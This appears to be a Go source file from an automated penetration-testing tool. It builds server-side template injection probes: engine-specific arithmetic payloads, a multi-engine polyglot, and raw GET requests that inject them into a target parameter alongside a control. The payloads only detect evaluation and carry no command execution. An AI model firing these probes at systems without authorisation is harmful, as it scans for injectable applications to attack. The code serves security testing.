package exploit

import (
	"fmt"
	"net/url"
	"strconv"
	"strings"

	"github.com/Armur-Ai/Pentest-Swarm-AI/internal/swarm/verify"
)

// SSTI arithmetic probe. Two uncommon factors whose product is unlikely to
// appear in a page by coincidence: a reflected 36863 that is absent from the
// literal control is strong evidence the template engine evaluated the payload.
const (
	sstiFactorA = 191
	sstiFactorB = 193
)

func sstiProduct() string { return strconv.Itoa(sstiFactorA * sstiFactorB) } // 36863
func sstiExpr() string    { return strconv.Itoa(sstiFactorA) + "*" + strconv.Itoa(sstiFactorB) }

// sstiEngines maps a template engine to the payload that makes it evaluate the
// arithmetic expression. The control is always the bare expression (no
// delimiters), which a non-template reflection echoes literally — so only an
// engine that evaluates produces the product.
var sstiEngines = []struct{ name, payload string }{
	{"Jinja2/Twig/Nunjucks", "{{" + "191*193" + "}}"},
	{"Freemarker/JSP-EL/Thymeleaf", "${" + "191*193" + "}"},
	{"Smarty/Mako", "{" + "191*193" + "}"},
	{"ERB", "<%= 191*193 %>"},
	{"Velocity", "#set($p=191*193)$p"},
	{"Razor", "@(191*193)"},
}

// SSTISpecs builds differential SSTI re-proof recipes for a reflected parameter —
// one per template engine. Each spec injects the engine's arithmetic payload
// (the attack) and the bare expression (the control) at the parameter; the
// oracle proves SSTI when the computed product appears in the attack response
// but not the control (indicator-aware differential). Payloads are
// query-encoded so the raw request stays well-formed; the server decodes and —
// if it templates the value — evaluates them.
func SSTISpecs(targetURL, param, authHeader string) ([]TechniqueSpec, error) {
	raw, err := sstiRawRequest(targetURL, param, authHeader)
	if err != nil {
		return nil, err
	}
	product := sstiProduct()
	var out []TechniqueSpec
	for _, e := range sstiEngines {
		spec, err := verify.NewDifferentialSpec(raw, "",
			url.QueryEscape(e.payload), url.QueryEscape(sstiExpr()), product)
		if err != nil {
			return nil, err
		}
		out = append(out, TechniqueSpec{Technique: "ssti:" + e.name, Spec: spec})
	}
	return out, nil
}

// SSTIPolyglotSpec builds a single differential recipe whose attack payload
// carries several engines' delimiters at once, so any one evaluating engine
// emits the product. It is the cheap first-pass gate before the per-engine
// SSTISpecs identify which engine it is — a non-templating reflection is
// rejected in one probe pair instead of six. Foreign delimiters are inert text
// to each engine, so the polyglot does not error the template.
func SSTIPolyglotSpec(targetURL, param, authHeader string) (*verify.ProbeSpec, error) {
	raw, err := sstiRawRequest(targetURL, param, authHeader)
	if err != nil {
		return nil, err
	}
	expr := sstiExpr()
	polyglot := "{{" + expr + "}}${" + expr + "}<%=" + expr + "%>@(" + expr + ")#set($p=" + expr + ")$p"
	return verify.NewDifferentialSpec(raw, "",
		url.QueryEscape(polyglot), url.QueryEscape(expr), sstiProduct())
}

// sstiRawRequest builds a raw GET request with the parameter's value replaced by
// the injection marker (the differential oracle substitutes the attack/control
// payloads there). Reuses the shared query-marking helper.
func sstiRawRequest(targetURL, param, authHeader string) (string, error) {
	if strings.TrimSpace(param) == "" {
		return "", fmt.Errorf("ssti: empty parameter")
	}
	host, pathQuery := splitHostPath(targetURL)
	path, query := pathQuery, ""
	if i := strings.IndexByte(pathQuery, '?'); i >= 0 {
		path, query = pathQuery[:i], pathQuery[i+1:]
	}
	if path == "" {
		path = "/"
	}
	var b strings.Builder
	b.WriteString("GET " + path + "?" + markParam(query, param) + " HTTP/1.1\r\n")
	writeCommonHeaders(&b, host, authHeader)
	b.WriteString("\r\n")
	return b.String(), nil
}